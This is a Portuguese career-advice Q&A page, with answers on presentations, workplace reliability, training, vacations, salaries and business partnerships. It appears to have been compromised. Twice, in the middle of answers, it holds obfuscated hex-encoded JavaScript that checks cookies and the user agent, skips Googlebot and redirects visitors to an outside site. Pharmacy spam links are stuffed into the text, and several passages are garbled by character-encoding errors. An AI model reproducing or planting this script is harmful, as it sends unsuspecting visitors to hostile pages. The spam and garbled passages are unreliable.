Fui convidado para fazer uma apresentação para um grupo de profissionais com experiências e conhecimentos sobre o tema bem heterogêneos. Como faço para me sair bem?
Existem alguns cuidados que devem ser tomados quando se é convidado para falar em público, especialmente quando se trata de palestras e apresentações. Muitas vezes, apresentações longas e cheias de jargões colocam em risco o aprendizado, tornam-se cansativas e pouco interessantes.
Por nem todo mundo compreender uma linguagem mais rebuscada ou acadêmica, com muitos termos técnicos, acaba-se criando uma distância entre o apresentador e o seu público. Quem passa por situações como essa, fica com a impressão de que o palestrante queria só “esbanjar” teoria e não promover a troca de conhecimentos e experiências.
Antes de montar qualquer apresentação, o palestrante precisa saber não só a razão do trabalho e quanto tempo terá para sua exposição, mas também quem será o seu espectador. Fazer um levantamento do perfil do seu público (gênero predominante, grau de instrução, área de atuação, interesses e dúvidas sobre o tema, etc) e usar essas informações como base para a montagem da sequência lógica do trabalho é fator crítico de sucesso. O desafio do palestrante será deixar de fora da apresentação conteúdos que considera importante mostrar, mas que não são viáveis, seja por conta do perfil do público ou da limitação de tempo.
Outra dica para o apresentador é interagir com os espectadores, perguntar sobre possíveis dúvidas que surgirem ao longo da palestra, estimular questionamentos e reflexões. Para isso, é preciso estar preparado para ouvir opiniões diferentes, não responder provocações nem querer vencer a discussão.
O palestrante precisará respeitar as contribuições e fazer as ponderações que considerar importantes. Não colocar em risco o vínculo com os demais espectadores é o que faz diferença no processo de troca de conhecimentos e experiências.
http://kovatchev.de/paroxetine-cost-walgreens/ http://www.g168gin.com/?p=24203
T http://kosonkpapat.net/?p=2545 enho um colega de trabalho que gosta de se destacar pela iniciativa e disponibilidade, porAi??m, nA?o entrega o que promete e acaba ficando com a imagem prejudicada. Eu prefiro ser menos disponAi??vel, mas cumprir com o combinado. O que Ai?? ideal nessas situaAi??Ai??es?
No ambiente de trabalho, vamos nos deparar com vA?rios tipos diferentes de perfis profissionais. Um dos mais comuns Ai?? aquele que gosta de se oferecer para fazer as atividades, mas que no final das contas tem dificuldade de cumprir com o prometido. Ou seja, fica com uma boa imagem de inAi??cio, mas perde a credibilidade logo em seguida.
Isso pode acontecer por diferentes motivos. Tem aqueles que nA?o conseguem dizer nA?o quando seu nome Ai?? citado e acabam acumulando atividades. Outros gostam de participar e de se envolver com tudo ou, acreditam que precisam ai???ganhar crAi??ditosai??? com o gerente ou com o colega, atAi?? mesmo para pleitear alguma troca no futuro, por exemplo.
Tem tambAi??m aqueles que acreditam que estar sempre ocupado com muitas demandas Ai?? sinal de competA?ncia e status. Enfim, o que muitos desses acabam tendo em comum Ai?? nA?o conseguir ter tempo e organizaAi??A?o suficientes para responder Ai??s demandas, e aAi?? o tiro sai pela culatra. O que poderia ser uma forma de se promover pode se tornar uma marca de descrAi??dito e ineficiA?ncia.
Ai?? importante que o profissional compreenda que ser disponAi??vel e ter iniciativa Ai?? muito bom quando se consegue responder Ai??s demandas contratadas. NA?o vale a pena arriscar sua imagem de competA?ncia assumindo o que nA?o pode cumprir. Ai?? preciso ser realista na avaliaAi??A?o da situaAi??A?o e respeitar os prA?prios limites. Caso contrA?rio, o desgaste por nA?o entregar o combinado pode gerar uma imagem de descrAi??dito que, sem dA?vida nenhuma, levarA? um longo tempo para se desfazer. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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A empresa em que trabalho decidiu fazer um investimento no meu desenvolvimento profissional. Qual deve ser a minha atitude diante dessa oportunidade, que pode ser um curso, seminário, congresso ou feira?
Quando a empresa decide capacitar um profissional, pode estar sinalizando duas coisas: (1) que a organização vislumbra para ele posições mais estratégicas; ou (2) que o profissional precisa atualizar seus conhecimentos e aperfeiçoar o seu desempenho.
De uma forma ou de outra, esse investimento significa uma aposta da empresa no profissional e a busca por melhores resultados. Mas, por ser uma aposta, não tem como garantir que os resultados vão de fato melhorar ou mesmo que o empregado não se interesse por outras oportunidades no mercado de trabalho.
Mesmo diante das incertezas, muitas empresas optam por correr o risco e não se arrependem. Em contrapartida, despertam nas pessoas a vontade de retribuir o investimento realizado. E como os profissionais podem aproveitar essa oportunidade da melhor forma?
Primeiro, é importante conhecer a motivação que levou a empresa a investir e saber quais mudanças e melhorias no seu desempenho estão sendo esperadas. Vale também combinar as condições necessárias para que os resultados sejam atingidos. Nessa hora, cabe negociar um apoio por parte da empresa, garantindo que o profissional possa participar das aulas, por exemplo. É também a vez da empresa acertar a sua contrapartida em relação ao empregado, que pode contemplar questões financeiras ou não.
Seja como for a negociação, os resultados esperados precisam ser possíveis e a contrapartida vale a pena. Nesse jogo, empresa e profissional precisam ganhar em competência, desempenho e resultados. Quem investe em conhecimento dificilmente se arrepende.
Meus planos de viajar nas férias foram cancelados por falta de dinheiro. Devo adiar meu período de descanso por causa disso?
Não ter dinheiro para viajar ou fazer alguma programação especial não deve ser motivo para não tirar férias. Tirar alguns dias de descanso é essencial para todas as pessoas por diversos motivos, e o primeiro deles é que o corpo e a mente necessitam de um tempo para aliviarem a tensão e renovarem as ideias.
Nem sempre sair da cidade é a melhor opção para quem está com pouco recurso. É possível encontrar alternativas de lazer considerando um orçamento mínimo. Existem muitos programas que podem ser interessantes e com baixo custo, como ir à praia ou parques, visitar exposições e mostras ou fazer atividades físicas ao ar livre.
Outra opção que vem ganhando popularidade é ser turista na própria cidade, sair para passear nas ruas e visitar pontos turísticos e museus que não se via há tempos, retomando o contato com a arte e cultura locais. É uma excelente oportunidade para unir conhecimento e diversão.
Mas se sair de casa para o lazer não for a sua opção, ainda existe o ganho de, nas férias, poder acordar e dormir até a hora que der vontade ou ainda resolver tarefas atrasadas como arrumar o armário e colocar as consultas médicas em dia, por exemplo.
E lembre-se: mente descansada e corpo saudável permite retomar a atividade produtiva a todo vapor – criar, produzir e até mesmo poupar, conseguindo uma folga no orçamento para as próximas férias.
Sou jovem e inteligente, mas me sinto frustrado com minha carreira e acredito que poderia ser mais bem sucedido. Como reverter essa situação?
Antes de tudo, é essencial diminuir o grau de idealização em relação a si mesmo, principalmente ponderando as comparações com outros profissionais. É comum entre os jovens, principalmente desta geração, a busca acelerada por resultados expressivos ainda muito cedo e a pouca paciência com o processo de desenvolvimento da carreira. Fazer um grande sucesso, ter uma ideia brilhante ou ficar rico ainda muito jovem não deve ser considerado a “regra geral” e sim, exceção.
Ao mesmo tempo, se há frustração em relação à trajetória profissional, cabe refletir se o investimento realizado em torno da carreira é realmente suficiente ou se está deixando passar boas oportunidades de incremento profissional.
Parar um pouco para avaliar a própria trajetória no mercado de trabalho possibilita entender o que já foi feito de relevante e identificar os pontos críticos que precisam ser revistos. Para ter certeza se, de fato, está investindo na busca de um diferencial competitivo, tente responder: quantos livros você leu no último ano que estejam relacionados à sua atividade de trabalho, quantos cursos, congressos, palestras ou workshops você participou no intuito de ampliar o conhecimento, em quantos deles você se ofereceu para apresentar um projeto seu, quantas vezes buscou outras empresas para trocar conhecimentos e fazer benchmarking?
É preciso, portanto, não ficar refém da frustração e ter iniciativa para fazer acontecer o que é preciso para marcar a diferença. Entender o que está acontecendo pode ser o primeiro passo para dar uma guinada na carreira.
Saber expor as ideias nos espaços e momentos adequados também é diferencial de competitividade para os profissionais. Quem sabe se comunicar tem mais chances de se destacar numa entrevista de emprego e nas reuniões de trabalho. O receio de falar na presença de um grupo maior de pessoas pode afastar boas oportunidades.
Muitas vezes, essa insegurança é resquício de experiências vividas na escola ou faculdade, para aqueles que sempre tiveram dificuldades na apresentação dos trabalhos em grupo, por exemplo. Não se pode negar que algumas pessoas são mais desinibidas que outras, mas é importante compreender que, na vida, se posicionar é fundamental.
Quando o profissional é chamado para participar de uma reunião, por exemplo, para discutir determinado assunto, deve entender que esta é uma ótima oportunidade para mostrar que tem conhecimento e que pode contribuir ainda mais. Pode ser a chance que faltava para ser convidado a participar de fóruns mais estratégicos e abrir caminhos para atingir outros estágios na sua carreira.
No mercado de trabalho os desafios já são mais que suficientes, não vale perder boas oportunidades por ter medo de falar. Na dúvida é melhor arriscar e falar, quando sabe que tem algo a contribuir. Só assim é possível ganhar experiência e confiança ao colocar suas ideias. Claro, que também é preciso ter cuidado com as palavras que irá usar, organizar as ideias e ficar atento às reações à sua fala, pois irão sinalizar se está ou não indo no caminho certo.
Receber uma promoção ou convite para assumir um cargo mais elevado é ótimo, principalmente quando envolve um aumento na remuneração para um patamar acima do pratica pelo mercado. Entretanto, o profissional precisa tomar cuidado com a súbita mudança de padrão salarial para não acabar se vendo em uma situação complicada no futuro.
Como um dos efeitos da crise temos visto muitos profissionais que tiveram, seus salários supervalorizados e que, hoje estão diante de um problema para administrar: a pressão pela redução nas remunerações. Quando se está empregado com um salário acima do mercado, o profissional fica caro para a empresa e corre maior risco de ser demitido. Na situação de desemprego, enfrentará grande dificuldade de recolocação no mesmo padrão de remuneração. Por isso, o profissional precisa ter cuidado com seu custo de vida, lembrando que o amanhã pode guardar surpresas em função da realidade de mercado.
Ao se deparar com um aumento considerável de salário, é essencial, antes de tudo, pensar no tempo que será necessário para se estabilizar no novo cargo. Não se deve mudar o padrão de vida de uma hora para outra, começar a gastar mais ou contrair dívidas, principalmente a longo prazo – como, por exemplo, comprar um apartamento com valor muito acima do que você poderia pagar com seu salário “normal”.
É preciso pensar que, se no futuro o mercado não conseguir mais acompanhar sua remuneração, você estará em uma situação bastante complicada, já que existe menos oferta para cargos com altos salários caso precise um dia se realocar. Por isso, deve-se sempre agir com cautela, sem se deixar deslumbrar pelos cifrões a mais na conta. E não se esqueça de fazer uma reserva financeira. Ela pode ser a salvação em um momento de aperto.
O mercado de trabalho vem passando por uma enorme revolução. Novas profissões estão surgindo e algumas antigas vêm se modificando, adotando novas tecnologias e formas diferenciadas de atuar. E nessa corrida, os profissionais que estão atentos às mudanças saem na frente.
A cada dia, principalmente por causa dos avanços da tecnologia, algumas profissões estão desaparecendo, outras surgindo, mas a maioria em transformação. Quem não conhece alguém que teve sua atividade profissional extinta ou quase isso? Um exemplo concreto é a profissão de datilógrafo. Em praticamente todas as empresas do século 20 era comum ouvir o barulho das máquinas de escrever. Com a chegada dos computadores, a função tornou-se obsoleta. Existem hoje os digitadores que atuam de maneira similar, mas que, muito em breve, podem desaparecer completamente com o avanço dos aplicativos tecnológicos.
O jornalismo é outro exemplo. Tão fundamental para a sociedade, está tendo que se reinventar com as mudanças trazidas pela internet e o acesso cada vez mais rápido à informação. É neste sentido que todos os profissionais precisam ficar atentos, questionar-se em relação à sua profissão no futuro e investir na apropriação de novos conhecimentos para não ficar para trás. Vale fazer uma reflexão sobre as mudanças que estão em torno da sua atividade de trabalho, o que pode representar uma ameaça e o que deve ser visto como parte da evolução e, portanto, ser uma oportunidade de mercado.
E se você não se identificar com o futuro da sua profissão, deve buscar alternativas dentro da sua área ou fora dela, de acordo com seu interesse. As oportunidades existem. E se não existem, o profissional pode fazer com que aconteçam. O importante é se manter atento, observador o ambiente, avaliar suas habilidades e descobrir onde pode melhor aproveitá-las.
http://kovatchev.de/naprosyn-500mg-price/ http://admiral-muslim.mhs.narotama.ac.id/2018/02/11/neurontin-sales-2009/ T http://habeshadent.com/2018/02/13/seroquel-extended-release-generic/ enho uma empresa em sociedade com um amigo, mas o movimento caiu significativamente e o negA?cio nA?o estA? atendendo aos meus anseios. Como faAi??o para desfazer a sociedade e ir em busca de novos projetos sem prejudicar a amizade?
Abrir um negA?cio tendo como sA?cio um amigo Ai?? algo que pode parecer fA?cil, mas nA?o Ai?? e, portanto, requer alguns cuidados. A relaAi??A?o profissional nA?o pode ser confundida com a de amizade e vice-versa. Cuidar dos aspectos empresariais que podem interferir no futuro dessa parceria significa preservar o vAi??nculo de amizade. NA?o Ai??, como muitos podem pensar, desconfianAi??a ou inseguranAi??a.
Para reduzir as chances de problemas futuros, Ai?? preciso deixar alguns acordos bem definidos como, por exemplo, o que se pretende para o futuro do negA?cio, o papel e as responsabilidades de cada sA?cio e como devem ser tratadas e negociadas entradas e saAi??das da sociedade. Mesmo o sA?cio sendo alguAi??m muito prA?ximo, Ai?? importante deixar os acordos societA?rios registrados de forma clara e objetiva, sem dA?vidas em seu entendimento.
Outra prA?tica saudA?vel Ai?? criar espaAi??o para conversar sobre os problemas e analisar as situaAi??Ai??es antes de se tomar uma decisA?o, principalmente quando envolve a saAi??da da sociedade. SA?o discussAi??es, geralmente, difAi??ceis e desconfortA?veis que exigem muito profissionalismo para que nA?o sejam levadas para o campo da honra ou tratadas como ofensas pessoais. Quando isso acontece, os impactos negativos para o negA?cio e a amizade podem ser devastadores. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Trabalhar com atendimento é sempre desafiador. Costumamos dizer que atender cliente fácil, é fácil, entretanto, o diferencial de competência do profissional se evidencia quando ele precisa lidar com um cliente difícil.
O que pode tornar a prestação de serviço um grande desafio é, justamente, a relação com o cliente. Saber como funciona e conhecer sua real necessidade pode ajudar a garantir a qualidade do atendimento. É comum encontrar clientes que ainda não sabem exatamente o que querem. Tem aquele que, pelo contrário, procura ajuda com a certeza do que precisa fazer para resolver seus problemas, antes mesmo de um diagnóstico mais preciso. Tem também aquele perfil mais nervoso e impaciente com o tempo do processo a ser realizado – e geralmente, nesses casos, reclamam, falam alto e dizem que estão sendo mal atendidos.
E como fazer para lidar com esses diferentes estereótipos? Independente do perfil, é importante que se compreenda que a função de atender é, principalmente, colocar-se a serviço do outro e ajudá-lo. Portanto, por mais difícil que seja a situação, é preciso manter a calma, deixar o cliente falar sem fazer julgamentos ou interrupções, usar o bom senso e fazer concessões. Tudo isso pode ajudar na construção de uma boa relação de atendimento que facilitará a entrega do produto final e a satisfação do cliente.
Estabelecer uma sinergia e um bom entendimento da situação pode dar conta de grande parte das demandas de atendimento. Mas o que fazer quando a situação foge do controle e o cliente tem uma atitude mais agressiva? No primeiro momento, é recomendável ouvir e não revidar. Ao mesmo tempo, de forma educada e com firmeza, fazer o enquadramento necessário para que a situação não se transforme numa ofensa pessoal.
Não é preciso responder na mesma moeda, pelo contrário, com sabedoria e sem perder a classe, é possível passar a mensagem de que você é um profissional, está trabalhando e cumprindo com o seu papel. Manter o profissionalismo e saber sair de situações difíceis é fundamental para o sucesso na carreira de atendimento.